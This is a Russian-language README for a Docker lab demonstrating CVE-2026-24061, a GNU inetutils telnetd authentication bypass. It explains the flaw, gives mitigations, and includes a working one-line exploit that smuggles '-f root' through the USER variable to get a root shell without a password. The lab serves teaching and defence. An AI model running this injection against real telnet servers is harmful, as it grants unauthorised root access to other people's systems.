CVE-2026-24061: Обход аутентификации в GNU inetutils-telnetd

Docker-лаборатория для демонстрации CVE-2026-24061 — критической уязвимости обхода аутентификации в GNU inetutils telnetd, которая оставалась без исправления в течение 11 лет.

Уязвимость

Telnetd передаёт переменную окружения USER напрямую в /usr/bin/login без санитизации. Бинарный файл login имеет флаг -f, который пропускает аутентификацию (предназначен для предварительно аутентифицированных сессий). Установив USER='-f root', атакующий обманывает login, получая root-доступ без пароля.

Затронутые версии: GNU inetutils 1.9.3 (март 2015) — 2.7 Оценка CVSS: 9.8 (критическая) Исправление: обновление до inetutils 2.8+

Быстрый старт

# Сборка образа
docker build -t telnetd-exploit .

# Запуск контейнера (попадаете в shell под пользователем user1)
docker run --rm -it telnetd-exploit

# Эксплуатация — получение root без пароля
USER='-f root' telnet -a localhost

Вы попадёте в root-оболочку. Выполните whoami, чтобы убедиться.

Как это работает

1. Клиент подключается с: USER='-f root' telnet -a localhost
2. telnetd получает переменную окружения USER: "-f root"
3. telnetd выполняет: /usr/bin/login -f root
4. login интерпретирует -f как "пропустить аутентификацию, пользователь предварительно проверен"
5. Атакующий получает root-оболочку — пароль не требуется

Зачем существует -f

Флаг -f легитимен — он предназначен для сценариев, где пользователь уже аутентифицирован (например, из доверенной локальной сессии). Проблема в том, что telnetd не санитизирует переменную USER перед передачей в login, что позволяет удалённым атакующим внедрять флаг.

Влияние

По состоянию на январь 2026 года:

• ~800 000 Telnet-серверов открыты по всему миру (Shadowserver)
• ~290 000 проиндексировано в Shodan
• Уязвимость активно эксплуатируется в дикой природе (каталог CISA KEV)

Почему не стоит использовать Telnet

Даже без этой ошибки Telnet передаёт всё в открытом виде — включая пароли. Используйте SSH.

Файлы

.
├── Dockerfile              # Создаёт уязвимый Debian-контейнер
├── docker-entrypoint.sh    # Запускает inetd, переключается на user1
└── README.md

Меры по смягчению

1. Обновитесь до GNU inetutils 2.8+
2. Отключите telnetd — заблокируйте порт 23
3. Используйте SSH — на дворе 2026 год

Ссылки

• CVE-2026-24061
• Оригинальное уведомление
• Запись в CISA KEV

Авторы

Лаборатория основана на leonjza/inetutils-telnetd-auth-bypass